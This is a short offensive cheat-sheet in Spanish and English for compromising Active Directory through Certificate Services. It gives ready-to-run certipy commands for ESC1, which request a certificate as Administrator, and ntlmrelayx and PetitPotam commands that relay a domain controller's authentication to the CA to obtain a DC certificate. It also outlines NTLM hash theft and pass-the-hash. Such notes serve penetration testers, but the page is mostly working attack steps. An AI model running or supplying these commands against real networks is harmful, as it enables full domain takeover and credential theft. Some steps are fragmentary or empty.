Active Directory Certificate Services (AD CS)¶
[!danger] The New Standard Si AD CS está instalado, es el vector #1. Herramientas:
Certipy(Linux) oCertify.exe(Windows).
1. Enumeration (Finding Vulnerable Templates)¶
Busca plantillas mal configuradas (ESC1, ESC8, etc.).
2. Exploitation (ESC1)¶
Si encuentras una plantilla que permite Client Authentication y Enrollee Supplies Subject. Impacto: Domain Admin instantáneo.
Paso 1: Request Certificate¶
Pide un certificado a nombre del Administrador.
certipy req -u <USER>@<DOMAIN> -p <PASS> -ca <CA_NAME> -template <TEMPLATE> -upn Administrator@<DOMAIN> -target <DC_FQDN>
administrator.pfx
Paso 2: Authenticate (Get Hash)¶
Usa el certificado para pedir el TGT y el hash NTLM del Admin.
Output:Administrator NTLM hash: ...
Paso 3: Pass-the-Hash¶
3. PetitPotam (NTLM Relaying to AD CS / ESC8)¶
Si el servidor de certificados tiene "Web Enrollment" habilitado (HTTP).
1. Listener: impacket-ntlmrelayx -t http://<CA_SERVER>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
2. Trigger: python3 PetitPotam.py <LISTENER_IP> <DC_IP>
3. Result: El DC se autentica contra ti, tu lo reenvías al CA, y el CA te da un certificado de "Domain Controller". -> PWNED.